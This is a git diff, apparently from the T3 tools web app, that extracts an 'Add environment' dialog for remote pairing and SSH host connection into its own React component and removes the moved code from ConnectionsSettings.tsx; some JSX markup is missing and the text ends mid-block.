.../settings/ConnectionsSettings.tsx | 642 +---------------- 2 files changed, 668 insertions(+), 623 deletions(-) create mode 100644 apps/web/src/components/settings/AddEnvironmentDialog.tsx diff --git a/apps/web/src/components/settings/AddEnvironmentDialog.tsx b/apps/web/src/components/settings/AddEnvironmentDialog.tsx new file mode 100644 index 000000000000..b14a6edebec3 --- /dev/null +++ b/apps/web/src/components/settings/AddEnvironmentDialog.tsx @@ -0,0 +1,649 @@ +import { ChevronsLeftRightEllipsisIcon, PlusIcon, TerminalIcon } from "lucide-react"; +import { useAtomValue } from "@effect/atom-react"; +import { type KeyboardEvent, type ReactNode, useEffect, useRef, useState } from "react"; +import { + type DesktopDiscoveredSshHost, + type DesktopSshEnvironmentTarget, +} from "@t3tools/contracts"; +import { + RelayConnectionRegistration, + RelayConnectionTarget, +} from "@t3tools/client-runtime/connection"; +import { + isAtomCommandInterrupted, + squashAtomCommandFailure, +} from "@t3tools/client-runtime/state/runtime"; +import * as Option from "effect/Option"; + +import { cn } from "../../lib/utils"; +import { formatDesktopSshTarget } from "./EnvironmentRow"; +import { Input } from "../ui/input"; +import { CommandShortcut } from "../ui/command"; +import { + Autocomplete, + AutocompleteEmpty, + AutocompleteInput, + AutocompleteItem, + AutocompleteList, + AutocompletePopup, +} from "../ui/autocomplete"; +import { + Dialog, + DialogDescription, + DialogHeader, + DialogPanel, + DialogPopup, + DialogTitle, + DialogTrigger, +} from "../ui/dialog"; +import { stackedThreadToast, toastManager } from "../ui/toast"; +import { Tooltip, TooltipPopup, TooltipTrigger } from "../ui/tooltip"; +import { Alert, AlertDescription } from "../ui/alert"; +import { Button } from "../ui/button"; +import { AnimatedHeight } from "../AnimatedHeight"; +import { environmentCatalog } from "~/connection/catalog"; +import { + connectPairing as connectPairingAtom, + connectSshEnvironment as connectSshEnvironmentAtom, +} from "~/connection/onboarding"; +import { useEnvironmentQuery } from "~/state/query"; +import { desktopSshHostsStateAtom, filterDiscoveredSshHosts } from "~/state/desktopSshHosts"; +import { type EnvironmentPresentation, useRelayEnvironmentDiscovery } from "~/state/environments"; +import { useAtomCommand } from "../../state/use-atom-command"; +import { primaryServerKeybindingsAtom } from "~/state/server"; +import { + resolveShortcutCommand, + shortcutLabelForCommand, + threadJumpCommandForIndex, + threadJumpIndexFromCommand, +} from "../../keybindings"; +import { + parseManualDesktopSshTarget, + parsePairingUrlFields, + parseRemotePairingFields, + formatDesktopSshConnectionError, +} from "./ConnectionsSettings.logic"; + +const EMPTY_DISCOVERED_SSH_HOSTS: ReadonlyArray = []; + +export function AddEnvironmentDialog({ + open, + routeTarget, + error, + savedEnvironments, + onOpenChange, + onErrorChange, +}: { + readonly open: boolean; + readonly routeTarget: EnvironmentPresentation | null; + readonly error: string | null; + readonly savedEnvironments: ReadonlyArray; + readonly onOpenChange: (open: boolean) => void; + readonly onErrorChange: (error: string | null) => void; +}) { + const desktopBridge = window.desktopBridge; + const keybindings = useAtomValue(primaryServerKeybindingsAtom); + const connectPairing = useAtomCommand(connectPairingAtom, { reportFailure: false }); + const connectSshEnvironment = useAtomCommand(connectSshEnvironmentAtom, { + reportFailure: false, + }); + const registerEnvironment = useAtomCommand(environmentCatalog.register, { + reportFailure: false, + }); + const relayDiscoveryState = useRelayEnvironmentDiscovery(); + const savedDesktopSshEnvironmentKeys = (() => { + const keys = new Set(); + for (const environment of savedEnvironments) { + const profile = environment.entry.profile; + if ( + environment.entry.target._tag !== "SshConnectionTarget" || + Option.isNone(profile) || + profile.value._tag !== "SshConnectionProfile" + ) { + continue; + } + const target = profile.value.target; + keys.add(target.alias); + keys.add(formatDesktopSshTarget(target)); + } + return keys; + })(); + const [savedBackendMode, setSavedBackendMode] = useState<"remote" | "ssh">("remote"); + const [savedBackendHost, setSavedBackendHost] = useState(""); + const [savedBackendPairingCode, setSavedBackendPairingCode] = useState(""); + const [savedBackendSshHost, setSavedBackendSshHost] = useState(""); + const [savedBackendSshUsername, setSavedBackendSshUsername] = useState(""); + const [savedBackendSshPort, setSavedBackendSshPort] = useState(""); + const [sshHostSuggestionsOpen, setSshHostSuggestionsOpen] = useState(false); + const highlightedSshHostRef = useRef(undefined); + const [isAddingSavedBackend, setIsAddingSavedBackend] = useState(false); + const isSshDiscoveryActive = desktopBridge !== undefined && open && savedBackendMode === "ssh"; + const desktopSshHosts = useEnvironmentQuery( + isSshDiscoveryActive ? desktopSshHostsStateAtom : null, + ); + // The discovery atom is kept alive across dialog opens, so re-read SSH config + // each time the SSH tab is shown; stale hosts stay visible while it refreshes. + const refreshDesktopSshHosts = desktopSshHosts.refresh; + useEffect(() => { + if (isSshDiscoveryActive) refreshDesktopSshHosts(); + }, [isSshDiscoveryActive, refreshDesktopSshHosts]); + const discoveredSshHosts = desktopSshHosts.data ?? EMPTY_DISCOVERED_SSH_HOSTS; + const unsavedDiscoveredSshHosts = discoveredSshHosts.filter((target) => { + const address = formatDesktopSshTarget(target); + return ( + !savedDesktopSshEnvironmentKeys.has(target.alias) && + (target.source === "ssh-config" || !savedDesktopSshEnvironmentKeys.has(address)) + ); + }); + const filteredDiscoveredSshHosts = filterDiscoveredSshHosts( + unsavedDiscoveredSshHosts, + savedBackendSshHost, + ); + const isLoadingDiscoveredSshHosts = desktopSshHosts.isPending && desktopSshHosts.data === null; + const discoveredSshHostsError = desktopSshHosts.error; + const hasSshHostSuggestionContent = + desktopBridge !== undefined && + (isLoadingDiscoveredSshHosts || unsavedDiscoveredSshHosts.length > 0); + const connectSavedBackendSshTarget = async (target: DesktopSshEnvironmentTarget) => { + setIsAddingSavedBackend(true); + onErrorChange(null); + const result = await connectSshEnvironment({ + target, + label: "", + ...(routeTarget ? { expectedEnvironmentId: routeTarget.environmentId } : {}), + }); + if (result._tag === "Failure") { + if (!isAtomCommandInterrupted(result)) { + onErrorChange(formatDesktopSshConnectionError(squashAtomCommandFailure(result))); + } + setIsAddingSavedBackend(false); + return; + } + + setSavedBackendHost(""); + setSavedBackendPairingCode(""); + setSavedBackendSshHost(""); + setSavedBackendSshUsername(""); + setSavedBackendSshPort(""); + onOpenChange(false); + toastManager.add({ + type: "success", + title: routeTarget ? "Route added" : "Environment connected", + description: routeTarget + ? `${routeTarget.label} can now be reached over SSH ${target.alias}.` + : `${target.alias} is ready over an SSH-managed tunnel.`, + }); + setIsAddingSavedBackend(false); + }; + + const handleAddSavedBackend = async () => { + if (savedBackendMode === "ssh") { + let target: DesktopSshEnvironmentTarget; + try { + target = parseManualDesktopSshTarget({ + host: savedBackendSshHost, + username: savedBackendSshUsername, + port: savedBackendSshPort, + }); + } catch (error) { + onErrorChange(formatDesktopSshConnectionError(error)); + return; + } + + await connectSavedBackendSshTarget(target); + return; + } + + setIsAddingSavedBackend(true); + onErrorChange(null); + let remotePairingInput: ReturnType; + try { + remotePairingInput = parseRemotePairingFields({ + host: savedBackendHost, + pairingCode: savedBackendPairingCode, + }); + } catch (error) { + const message = error instanceof Error ? error.message : "Failed to add backend."; + onErrorChange(message); + toastManager.add( + stackedThreadToast({ + type: "error", + title: "Could not add backend", + description: message, + }), + ); + setIsAddingSavedBackend(false); + return; + } + + const result = await connectPairing({ + ...remotePairingInput, + ...(routeTarget ? { expectedEnvironmentId: routeTarget.environmentId } : {}), + }); + if (result._tag === "Failure") { + if (!isAtomCommandInterrupted(result)) { + const error = squashAtomCommandFailure(result); + const message = error instanceof Error ? error.message : "Failed to add backend."; + onErrorChange(message); + toastManager.add( + stackedThreadToast({ + type: "error", + title: "Could not add backend", + description: message, + }), + ); + } + setIsAddingSavedBackend(false); + return; + } + + setSavedBackendHost(""); + setSavedBackendPairingCode(""); + setSavedBackendSshHost(""); + setSavedBackendSshUsername(""); + setSavedBackendSshPort(""); + onOpenChange(false); + toastManager.add( + routeTarget + ? { + type: "success", + title: "Route added", + description: `${routeTarget.label} now has another way to connect.`, + } + : { + type: "success", + title: "Backend added", + description: "The environment is saved and will reconnect on app startup.", + }, + ); + setIsAddingSavedBackend(false); + }; + + const handleSavedBackendSshFieldKeyDown = (event: KeyboardEvent) => { + if (event.nativeEvent.isComposing || event.keyCode === 229) return; + if (event.key === "Enter" && savedBackendSshHost.trim().length > 0) { + event.preventDefault(); + void handleAddSavedBackend(); + } + }; + + const handleSelectSshHostSuggestion = async (target: DesktopDiscoveredSshHost) => { + if (isAddingSavedBackend || !desktopBridge) return; + + setIsAddingSavedBackend(true); + onErrorChange(null); + setSavedBackendSshHost(target.alias); + let resolved: DesktopSshEnvironmentTarget; + try { + resolved = await desktopBridge.resolveSshHost(target.alias); + } catch (error) { + onErrorChange(formatDesktopSshConnectionError(error)); + setIsAddingSavedBackend(false); + return; + } + setSavedBackendSshUsername(resolved.username ?? ""); + setSavedBackendSshPort(resolved.port === null ? "" : String(resolved.port)); + await connectSavedBackendSshTarget(resolved); + }; + + const handleSavedBackendSshHostKeyDown = (event: KeyboardEvent) => { + if (event.nativeEvent.isComposing || event.keyCode === 229) return; + + const isSshHostPopupVisible = sshHostSuggestionsOpen && hasSshHostSuggestionContent; + if (isSshHostPopupVisible) { + const command = resolveShortcutCommand(event, keybindings, { + platform: navigator.platform, + context: { modelPickerOpen: false }, + }); + const index = threadJumpIndexFromCommand(command ?? ""); + const target = index === null ? undefined : filteredDiscoveredSshHosts[index]; + if (target) { + event.preventDefault(); + event.stopPropagation(); + setSshHostSuggestionsOpen(false); + void handleSelectSshHostSuggestion(target); + return; + } + + if (event.key === "Escape") { + event.preventDefault(); + event.stopPropagation(); + return; + } + } + + const hasHighlightedSshHost = + isSshHostPopupVisible && highlightedSshHostRef.current !== undefined; + if ( + !event.defaultPrevented && + !hasHighlightedSshHost && + event.key === "Enter" && + savedBackendSshHost.trim().length > 0 + ) { + event.preventDefault(); + void handleAddSavedBackend(); + } + }; + + const handleSavedBackendHostChange = (value: string) => { + const parsedPairingUrl = parsePairingUrlFields(value); + if (parsedPairingUrl) { + setSavedBackendHost(parsedPairingUrl.host); + setSavedBackendPairingCode(parsedPairingUrl.pairingCode); + return; + } + setSavedBackendHost(value); + }; + const renderConnectionModeCard = (input: { + readonly mode: "remote" | "ssh"; + readonly title: string; + readonly description: string; + readonly icon?: ReactNode; + }) => { + const selected = savedBackendMode === input.mode; + return ( + + ); + }; + + const renderRemoteFields = () => ( +
+
+ + +
+
+ + Paste a full pairing URL here to fill both fields automatically. + +
+
+ ); + const relayRouteOffer = + routeTarget !== null && + !routeTarget.relayManaged && + relayDiscoveryState.environments.has(routeTarget.environmentId) + ? relayDiscoveryState.environments.get(routeTarget.environmentId)!.environment + : null; + const addRelayRoute = async () => { + if (relayRouteOffer === null || routeTarget === null) return; + setIsAddingSavedBackend(true); + const result = await registerEnvironment( + new RelayConnectionRegistration({ + target: new RelayConnectionTarget({ + environmentId: relayRouteOffer.environmentId, + label: routeTarget.label, + }), + }), + ); + setIsAddingSavedBackend(false); + if (result._tag === "Failure") { + if (!isAtomCommandInterrupted(result)) { + const error = squashAtomCommandFailure(result); + onErrorChange(error instanceof Error ? error.message : "Could not add the route."); + } + return; + } + onOpenChange(false); + toastManager.add({ + type: "success", + title: "Route added", + description: `${routeTarget.label} falls back to T3 Connect when its other routes are unreachable.`, + }); + }; + const renderRemoteModeBody = () => ( +
+ {relayRouteOffer !== null ? ( +
+

+ This machine is on your T3 Connect account. Use it as a fallback route. +

+ +
+ ) : null} + {renderRemoteFields()} + {error ?

{error}

: null} + +
+ ); + const renderSshFields = () => ( +
+
+
+ + target.alias} + mode="none" + openOnInputClick + open={sshHostSuggestionsOpen} + onOpenChange={setSshHostSuggestionsOpen} + onItemHighlighted={(target) => { + highlightedSshHostRef.current = target; + }} + value={savedBackendSshHost} + onValueChange={(value, eventDetails) => { + setSavedBackendSshHost(value); + if (eventDetails.reason !== "item-press") return; + + const target = filteredDiscoveredSshHosts.find((host) => host.alias === value); + if (target) void handleSelectSshHostSuggestion(target); + }} + > + + {hasSshHostSuggestionContent ? ( + + {isLoadingDiscoveredSshHosts ? ( +
Loading hosts…
+ ) : filteredDiscoveredSshHosts.length > 0 ? ( + + {filteredDiscoveredSshHosts.map((target, index) => { + const address = formatDesktopSshTarget(target); + const shortcutCommand = index < 9 ? threadJumpCommandForIndex(index) : null; + const shortcutLabel = shortcutCommand + ? shortcutLabelForCommand(keybindings, shortcutCommand, navigator.platform) + : null; + return ( + + + {target.alias} + + {address !== target.alias ? ( + + {address} + + ) : ( + + )} + {shortcutLabel ? ( + {shortcutLabel} + ) : null} + + ); + })} + + ) : ( + + No hosts match "{savedBackendSshHost.trim()}". + + )} +
+ ) : null} +
+
+
+ + +
+ {error || discoveredSshHostsError ? ( + + {error ?? discoveredSshHostsError} + + ) : null} + +
+
+ ); + + return ( + + + + + Add environment + + } + /> + } + /> + Add environment + + + + + {routeTarget ? `Add a route to ${routeTarget.label}` : "Add Environment"} + + + {routeTarget + ? "Pair this machine again over another address, such as its Tailscale name. It joins the existing routes instead of adding a second machine." + : "Pair another environment to this client."} + + + +
+
+ {renderConnectionModeCard({ + mode: "remote", + title: "Remote link", + description: "Enter a backend host and pairing code.", + icon: , + })} + {desktopBridge + ? renderConnectionModeCard({ + mode: "ssh", + title: "SSH", + description: "Use local SSH config, agent, and tunnels for the backend.", + icon: , + }) + : null} +
+ + {savedBackendMode === "ssh" ? renderSshFields() : renderRemoteModeBody()} + +
+
+
+
+ ); +} diff --git a/apps/web/src/components/settings/ConnectionsSettings.tsx b/apps/web/src/components/settings/ConnectionsSettings.tsx index ac4ebf195e01..3639c921f356 100644 --- a/apps/web/src/components/settings/ConnectionsSettings.tsx +++ b/apps/web/src/components/settings/ConnectionsSettings.tsx @@ -1,13 +1,7 @@ import { SessionPermissions } from "./SessionPermissions"; -import { - ChevronRightIcon, - ChevronsLeftRightEllipsisIcon, - EllipsisIcon, - PlusIcon, - TerminalIcon, -} from "lucide-react"; +import { ChevronRightIcon, EllipsisIcon } from "lucide-react"; import { useAtomValue } from "@effect/atom-react"; -import { type KeyboardEvent, type ReactNode, useEffect, useRef, useState } from "react"; +import { useState } from "react"; import { AuthAccessReadScope, AuthAccessWriteScope, @@ -18,26 +12,18 @@ import { type AuthPairingLink, type AuthPairingCredentialResult, type AdvertisedEndpoint, - type DesktopDiscoveredSshHost, - type DesktopSshEnvironmentTarget, type DesktopServerExposureState, type DesktopWslState, type EnvironmentId, resolveEnvironmentMachineKind, } from "@t3tools/contracts"; -import { - RelayConnectionRegistration, - RelayConnectionTarget, -} from "@t3tools/client-runtime/connection"; import { isAtomCommandInterrupted, settlePromise, squashAtomCommandFailure, } from "@t3tools/client-runtime/state/runtime"; import * as Cause from "effect/Cause"; -import * as Option from "effect/Option"; -import { cn } from "../../lib/utils"; import { isLocalEnvironmentDisabled } from "../../localEnvironment"; import { applyWslEnableSelection, @@ -49,20 +35,10 @@ import { SettingsPageContainer, SettingsRow, SettingsSection } from "./settingsL import { LocalEnvironmentSetting } from "./LocalEnvironmentSetting"; import { searchableSetting } from "./settingsSearch"; import { EnvironmentIconMenu } from "./EnvironmentIconPicker"; -import { formatDesktopSshTarget } from "./EnvironmentRow"; import { FoldedSettingsSection } from "./FoldedSettingsSection"; import { LoadBalancingSettings } from "./LoadBalancingSettings"; import { GitHubRoutingSettings } from "./GitHubRoutingSettings"; import { Input } from "../ui/input"; -import { CommandShortcut } from "../ui/command"; -import { - Autocomplete, - AutocompleteEmpty, - AutocompleteInput, - AutocompleteItem, - AutocompleteList, - AutocompletePopup, -} from "../ui/autocomplete"; import { Dialog, DialogClose, @@ -72,7 +48,6 @@ import { DialogPanel, DialogPopup, DialogTitle, - DialogTrigger, } from "../ui/dialog"; import { ScrollArea } from "../ui/scroll-area"; import { @@ -90,9 +65,7 @@ import { Menu, MenuPopup, MenuTrigger } from "../ui/menu"; import { Switch } from "../ui/switch"; import { stackedThreadToast, toastManager } from "../ui/toast"; import { Tooltip, TooltipPopup, TooltipTrigger } from "../ui/tooltip"; -import { Alert, AlertDescription } from "../ui/alert"; import { Button } from "../ui/button"; -import { AnimatedHeight } from "../AnimatedHeight"; import { EnvironmentMachineIcon } from "../EnvironmentMachineIcon"; import { revokeOtherServerClientSessions, @@ -113,33 +86,23 @@ import { hasCloudPublicConfig } from "~/cloud/publicConfig"; import { RemoveT3ConnectEnvironmentDialog } from "../clerk/RemoveT3ConnectEnvironmentDialog"; import { authEnvironment } from "~/state/auth"; import { environmentCatalog } from "~/connection/catalog"; -import { - connectPairing as connectPairingAtom, - connectSshEnvironment as connectSshEnvironmentAtom, -} from "~/connection/onboarding"; import { readEnvironmentScope, useEnvironmentScope } from "~/state/session"; import { useEnvironmentQuery } from "~/state/query"; import { desktopNetworkAccessStateAtom, refreshDesktopNetworkAccessState, } from "~/state/desktopNetworkAccess"; -import { desktopSshHostsStateAtom, filterDiscoveredSshHosts } from "~/state/desktopSshHosts"; import { desktopWslStateAtom, refreshDesktopWslState } from "~/state/desktopWslState"; import { useDesktopUpdateState } from "~/state/desktopUpdate"; import { type EnvironmentPresentation, useEnvironments, usePrimaryEnvironment, - useRelayEnvironmentDiscovery, } from "~/state/environments"; import { requestConfirmDialog } from "~/confirmDialog"; import { useAtomCommand } from "../../state/use-atom-command"; import { environmentIdsKey } from "~/state/environmentAtomList"; -import { - environmentUpdateStatesAtom, - primaryServerKeybindingsAtom, - serverEnvironment, -} from "~/state/server"; +import { environmentUpdateStatesAtom, serverEnvironment } from "~/state/server"; import { ServerUpdateAction, ServerUpdateProgress, @@ -147,16 +110,6 @@ import { type ServerUpdateTarget, } from "../ServerUpdateAction"; import { - resolveShortcutCommand, - shortcutLabelForCommand, - threadJumpCommandForIndex, - threadJumpIndexFromCommand, -} from "../../keybindings"; -import { - parseManualDesktopSshTarget, - parsePairingUrlFields, - parseRemotePairingFields, - formatDesktopSshConnectionError, sortDesktopPairingLinks, summarizeAuthorizedClients, sortDesktopClientSessions, @@ -179,10 +132,10 @@ import { CloudRemoteEnvironmentRows, SavedBackendListRow, } from "./SavedEnvironmentRows"; +import { AddEnvironmentDialog } from "./AddEnvironmentDialog"; const DEFAULT_TAILSCALE_SERVE_PORT = 443; const EMPTY_ADVERTISED_ENDPOINTS: ReadonlyArray = []; -const EMPTY_DISCOVERED_SSH_HOSTS: ReadonlyArray = []; // Sentinels for the consolidated WSL backend picker. The colon is // rejected by DISTRO_NAME_PATTERN (validated on the desktop side) so @@ -202,18 +155,9 @@ function LocalVersionStatusLabel() { export function ConnectionsSettings() { const desktopBridge = window.desktopBridge; - const keybindings = useAtomValue(primaryServerKeybindingsAtom); const { environments } = useEnvironments(); const primaryEnvironment = usePrimaryEnvironment(); - const connectPairing = useAtomCommand(connectPairingAtom, { reportFailure: false }); - const connectSshEnvironment = useAtomCommand(connectSshEnvironmentAtom, { - reportFailure: false, - }); const removeEnvironment = useAtomCommand(environmentCatalog.remove, { reportFailure: false }); - const registerEnvironment = useAtomCommand(environmentCatalog.register, { - reportFailure: false, - }); - const relayDiscoveryState = useRelayEnvironmentDiscovery(); const setEnvironmentEnabled = useAtomCommand(environmentCatalog.setEnabled, { reportFailure: false, }); @@ -273,23 +217,6 @@ export function ConnectionsSettings() { ...(primaryEnvironment ? [primaryEnvironment] : []), ...savedEnvironments.filter((environment) => environment.entry.enabled), ].filter((environment) => environment.connection.phase !== "unsupported"); - const savedDesktopSshEnvironmentKeys = (() => { - const keys = new Set(); - for (const environment of savedEnvironments) { - const profile = environment.entry.profile; - if ( - environment.entry.target._tag !== "SshConnectionTarget" || - Option.isNone(profile) || - profile.value._tag !== "SshConnectionProfile" - ) { - continue; - } - const target = profile.value.target; - keys.add(target.alias); - keys.add(formatDesktopSshTarget(target)); - } - return keys; - })(); const [desktopServerExposureMutationError, setDesktopServerExposureMutationError] = useState< string | null >(null); @@ -311,16 +238,15 @@ export function ConnectionsSettings() { const [isRevokingOtherDesktopClients, setIsRevokingOtherDesktopClients] = useState(false); const [addBackendDialogOpen, setAddBackendDialogOpen] = useState(false); const [routeTarget, setRouteTarget] = useState(null); - const [savedBackendMode, setSavedBackendMode] = useState<"remote" | "ssh">("remote"); - const [savedBackendHost, setSavedBackendHost] = useState(""); - const [savedBackendPairingCode, setSavedBackendPairingCode] = useState(""); - const [savedBackendSshHost, setSavedBackendSshHost] = useState(""); - const [savedBackendSshUsername, setSavedBackendSshUsername] = useState(""); - const [savedBackendSshPort, setSavedBackendSshPort] = useState(""); - const [sshHostSuggestionsOpen, setSshHostSuggestionsOpen] = useState(false); - const highlightedSshHostRef = useRef(undefined); const [savedBackendError, setSavedBackendError] = useState(null); - const [isAddingSavedBackend, setIsAddingSavedBackend] = useState(false); + const handleAddBackendDialogOpenChange = (open: boolean) => { + setAddBackendDialogOpen(open); + if (open) { + setRouteTarget(null); + } else { + setSavedBackendError(null); + } + }; const [removingSavedEnvironmentId, setRemovingSavedEnvironmentId] = useState(null); const [isUpdatingDesktopServerExposure, setIsUpdatingDesktopServerExposure] = useState(false); @@ -372,40 +298,12 @@ export function ConnectionsSettings() { const desktopNetworkAccess = useEnvironmentQuery( canManageLocalBackend && desktopBridge ? desktopNetworkAccessStateAtom : null, ); - const isSshDiscoveryActive = - desktopBridge !== undefined && addBackendDialogOpen && savedBackendMode === "ssh"; - const desktopSshHosts = useEnvironmentQuery( - isSshDiscoveryActive ? desktopSshHostsStateAtom : null, - ); - // The discovery atom is kept alive across dialog opens, so re-read SSH config - // each time the SSH tab is shown; stale hosts stay visible while it refreshes. - const refreshDesktopSshHosts = desktopSshHosts.refresh; - useEffect(() => { - if (isSshDiscoveryActive) refreshDesktopSshHosts(); - }, [isSshDiscoveryActive, refreshDesktopSshHosts]); const desktopWsl = useEnvironmentQuery( canManageLocalBackend && desktopBridge ? desktopWslStateAtom : null, ); const desktopWslState = desktopWsl.data; const desktopWslError = desktopWslMutationError ?? desktopWsl.error; const isLoadingWslState = desktopWsl.isPending && desktopWsl.data === null; - const discoveredSshHosts = desktopSshHosts.data ?? EMPTY_DISCOVERED_SSH_HOSTS; - const unsavedDiscoveredSshHosts = discoveredSshHosts.filter((target) => { - const address = formatDesktopSshTarget(target); - return ( - !savedDesktopSshEnvironmentKeys.has(target.alias) && - (target.source === "ssh-config" || !savedDesktopSshEnvironmentKeys.has(address)) - ); - }); - const filteredDiscoveredSshHosts = filterDiscoveredSshHosts( - unsavedDiscoveredSshHosts, - savedBackendSshHost, - ); - const isLoadingDiscoveredSshHosts = desktopSshHosts.isPending && desktopSshHosts.data === null; - const discoveredSshHostsError = desktopSshHosts.error; - const hasSshHostSuggestionContent = - desktopBridge !== undefined && - (isLoadingDiscoveredSshHosts || unsavedDiscoveredSshHosts.length > 0); const desktopServerExposureState = desktopNetworkAccess.data?.serverExposureState ?? null; const desktopAdvertisedEndpoints = desktopNetworkAccess.data?.advertisedEndpoints ?? EMPTY_ADVERTISED_ENDPOINTS; @@ -656,187 +554,6 @@ export function ConnectionsSettings() { setIsRevokingOtherDesktopClients(false); }; - const connectSavedBackendSshTarget = async (target: DesktopSshEnvironmentTarget) => { - setIsAddingSavedBackend(true); - setSavedBackendError(null); - const result = await connectSshEnvironment({ - target, - label: "", - ...(routeTarget ? { expectedEnvironmentId: routeTarget.environmentId } : {}), - }); - if (result._tag === "Failure") { - if (!isAtomCommandInterrupted(result)) { - setSavedBackendError(formatDesktopSshConnectionError(squashAtomCommandFailure(result))); - } - setIsAddingSavedBackend(false); - return; - } - - setSavedBackendHost(""); - setSavedBackendPairingCode(""); - setSavedBackendSshHost(""); - setSavedBackendSshUsername(""); - setSavedBackendSshPort(""); - setAddBackendDialogOpen(false); - toastManager.add({ - type: "success", - title: routeTarget ? "Route added" : "Environment connected", - description: routeTarget - ? `${routeTarget.label} can now be reached over SSH ${target.alias}.` - : `${target.alias} is ready over an SSH-managed tunnel.`, - }); - setIsAddingSavedBackend(false); - }; - - const handleAddSavedBackend = async () => { - if (savedBackendMode === "ssh") { - let target: DesktopSshEnvironmentTarget; - try { - target = parseManualDesktopSshTarget({ - host: savedBackendSshHost, - username: savedBackendSshUsername, - port: savedBackendSshPort, - }); - } catch (error) { - setSavedBackendError(formatDesktopSshConnectionError(error)); - return; - } - - await connectSavedBackendSshTarget(target); - return; - } - - setIsAddingSavedBackend(true); - setSavedBackendError(null); - let remotePairingInput: ReturnType; - try { - remotePairingInput = parseRemotePairingFields({ - host: savedBackendHost, - pairingCode: savedBackendPairingCode, - }); - } catch (error) { - const message = error instanceof Error ? error.message : "Failed to add backend."; - setSavedBackendError(message); - toastManager.add( - stackedThreadToast({ - type: "error", - title: "Could not add backend", - description: message, - }), - ); - setIsAddingSavedBackend(false); - return; - } - - const result = await connectPairing({ - ...remotePairingInput, - ...(routeTarget ? { expectedEnvironmentId: routeTarget.environmentId } : {}), - }); - if (result._tag === "Failure") { - if (!isAtomCommandInterrupted(result)) { - const error = squashAtomCommandFailure(result); - const message = error instanceof Error ? error.message : "Failed to add backend."; - setSavedBackendError(message); - toastManager.add( - stackedThreadToast({ - type: "error", - title: "Could not add backend", - description: message, - }), - ); - } - setIsAddingSavedBackend(false); - return; - } - - setSavedBackendHost(""); - setSavedBackendPairingCode(""); - setSavedBackendSshHost(""); - setSavedBackendSshUsername(""); - setSavedBackendSshPort(""); - setAddBackendDialogOpen(false); - toastManager.add( - routeTarget - ? { - type: "success", - title: "Route added", - description: `${routeTarget.label} now has another way to connect.`, - } - : { - type: "success", - title: "Backend added", - description: "The environment is saved and will reconnect on app startup.", - }, - ); - setIsAddingSavedBackend(false); - }; - - const handleSavedBackendSshFieldKeyDown = (event: KeyboardEvent) => { - if (event.nativeEvent.isComposing || event.keyCode === 229) return; - if (event.key === "Enter" && savedBackendSshHost.trim().length > 0) { - event.preventDefault(); - void handleAddSavedBackend(); - } - }; - - const handleSelectSshHostSuggestion = async (target: DesktopDiscoveredSshHost) => { - if (isAddingSavedBackend || !desktopBridge) return; - - setIsAddingSavedBackend(true); - setSavedBackendError(null); - setSavedBackendSshHost(target.alias); - let resolved: DesktopSshEnvironmentTarget; - try { - resolved = await desktopBridge.resolveSshHost(target.alias); - } catch (error) { - setSavedBackendError(formatDesktopSshConnectionError(error)); - setIsAddingSavedBackend(false); - return; - } - setSavedBackendSshUsername(resolved.username ?? ""); - setSavedBackendSshPort(resolved.port === null ? "" : String(resolved.port)); - await connectSavedBackendSshTarget(resolved); - }; - - const handleSavedBackendSshHostKeyDown = (event: KeyboardEvent) => { - if (event.nativeEvent.isComposing || event.keyCode === 229) return; - - const isSshHostPopupVisible = sshHostSuggestionsOpen && hasSshHostSuggestionContent; - if (isSshHostPopupVisible) { - const command = resolveShortcutCommand(event, keybindings, { - platform: navigator.platform, - context: { modelPickerOpen: false }, - }); - const index = threadJumpIndexFromCommand(command ?? ""); - const target = index === null ? undefined : filteredDiscoveredSshHosts[index]; - if (target) { - event.preventDefault(); - event.stopPropagation(); - setSshHostSuggestionsOpen(false); - void handleSelectSshHostSuggestion(target); - return; - } - - if (event.key === "Escape") { - event.preventDefault(); - event.stopPropagation(); - return; - } - } - - const hasHighlightedSshHost = - isSshHostPopupVisible && highlightedSshHostRef.current !== undefined; - if ( - !event.defaultPrevented && - !hasHighlightedSshHost && - event.key === "Enter" && - savedBackendSshHost.trim().length > 0 - ) { - event.preventDefault(); - void handleAddSavedBackend(); - } - }; - const handleSetSavedBackendEnabled = async (environmentId: EnvironmentId, enabled: boolean) => { setSavedBackendError(null); const result = await setEnvironmentEnabled({ environmentId, enabled }); @@ -917,273 +634,7 @@ export function ConnectionsSettings() { const handleSetDefaultAdvertisedEndpoint = (endpoint: AdvertisedEndpoint) => { setDefaultAdvertisedEndpointKey(endpointDefaultPreferenceKey(endpoint)); }; - const handleSavedBackendHostChange = (value: string) => { - const parsedPairingUrl = parsePairingUrlFields(value); - if (parsedPairingUrl) { - setSavedBackendHost(parsedPairingUrl.host); - setSavedBackendPairingCode(parsedPairingUrl.pairingCode); - return; - } - setSavedBackendHost(value); - }; - - const renderConnectionModeCard = (input: { - readonly mode: "remote" | "ssh"; - readonly title: string; - readonly description: string; - readonly icon?: ReactNode; - }) => { - const selected = savedBackendMode === input.mode; - return ( - - ); - }; - - const renderRemoteFields = () => ( -
-
- - -
-
- - Paste a full pairing URL here to fill both fields automatically. - -
-
- ); - const relayRouteOffer = - routeTarget !== null && - !routeTarget.relayManaged && - relayDiscoveryState.environments.has(routeTarget.environmentId) - ? relayDiscoveryState.environments.get(routeTarget.environmentId)!.environment - : null; - const addRelayRoute = async () => { - if (relayRouteOffer === null || routeTarget === null) return; - setIsAddingSavedBackend(true); - const result = await registerEnvironment( - new RelayConnectionRegistration({ - target: new RelayConnectionTarget({ - environmentId: relayRouteOffer.environmentId, - label: routeTarget.label, - }), - }), - ); - setIsAddingSavedBackend(false); - if (result._tag === "Failure") { - if (!isAtomCommandInterrupted(result)) { - const error = squashAtomCommandFailure(result); - setSavedBackendError(error instanceof Error ? error.message : "Could not add the route."); - } - return; - } - setAddBackendDialogOpen(false); - toastManager.add({ - type: "success", - title: "Route added", - description: `${routeTarget.label} falls back to T3 Connect when its other routes are unreachable.`, - }); - }; - const renderRemoteModeBody = () => ( -
- {relayRouteOffer !== null ? ( -
-

- This machine is on your T3 Connect account. Use it as a fallback route. -

- -
- ) : null} - {renderRemoteFields()} - {savedBackendError ?

{savedBackendError}

: null} - -
- ); - const renderSshFields = () => ( -
-
-
